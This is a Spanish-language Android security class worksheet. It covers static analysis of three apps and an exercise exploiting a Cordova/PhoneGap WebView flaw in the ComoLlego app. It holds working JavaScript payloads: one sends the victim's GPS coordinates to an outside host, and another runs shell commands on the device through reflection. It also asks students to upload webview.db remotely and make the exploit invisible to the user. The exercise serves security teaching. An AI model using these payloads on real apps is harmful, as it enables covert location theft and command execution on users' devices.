================================================================== Análisis estático: ================================================================== Ejercicios: Descargar las aplicaciones: https://www.dropbox.com/sh/qtnducsiogden8x/AACaIsUH8czgkhA3XuYOQ4uPa?dl=0 1) Analizar CMBrowser y su ContentProvider estáticamente (apktool, dex2jar y JDGUI) a) Utilizar apktool para obtener el manifiesto. $ apktool d PKG FOLDER ¿Qué componentes exporta la app? ¿Qué permisos requiere? ¿Cuales define? ¿Quién puede pedir esos permisos definidos? 2) Analizar SmartFileManager y su ContentProvider estáticamente (apktool, dex2jar y JDGUI) Utilizar dex2jar y JD-GUI para decompilar la app: $ d2j-dex2jar PKG $ jd-gui y abrir el .jar Próxima clase: Explotar la vulnerabilidad con drozer (utilizar módulo app.provider.read) 3) Analizar ComoLLego con apktool y JD-GUI. ¿Qué librarías utiliza? Analizar un poco como funcionan y vulnerabilidades conocidas ¿Donde están los recursos? 4) Explotar la vulnerabilidad de Cordova/Phonegap en ComoLlego : Ayudarse utilizando: 1) http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework 2) https://www.owasp.org/images/e/e0/AppSecIL_2014_The_Bank_Job_Mobile_Edition_-_Remote_Exploitation_of_Cordova_for_Android_-_David_Kaplan_-_Roee_Hay.pdf a) Utilizar adb shell y am start b) Lograr subir webview.db a un servidor remoto, utilizar extractos de código del ejercicio siguiente c) Hacer que el exploit sea invisible para el usuario (pista: document.window) Leer otro archivo desde file://:

WebView Vulnerability: File schema

Obtener ubicación: function onSuccess(position) { var request = new XMLHttpRequest(); request.open("GET", "http://exploit-db.com/?lat="+position.coords.latitude+"&long="+position.coords.longitude, true); request.send(); } // onError Callback receives a PositionError object // function onError(error) { alert('code: ' + error.code + '\n' + 'message: ' + error.message + '\n'); } var watchID = navigator.geolocation.getCurrentPosition(onSuccess, onError, { timeout: 300000,enableHighAccuracy: true,maximumAge: 300000 }); Correr comando: function execute(cmd){ return window._cordovaNative.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo PWN > /data/data/ar.gob.buenosaires.comollego/init.txt']);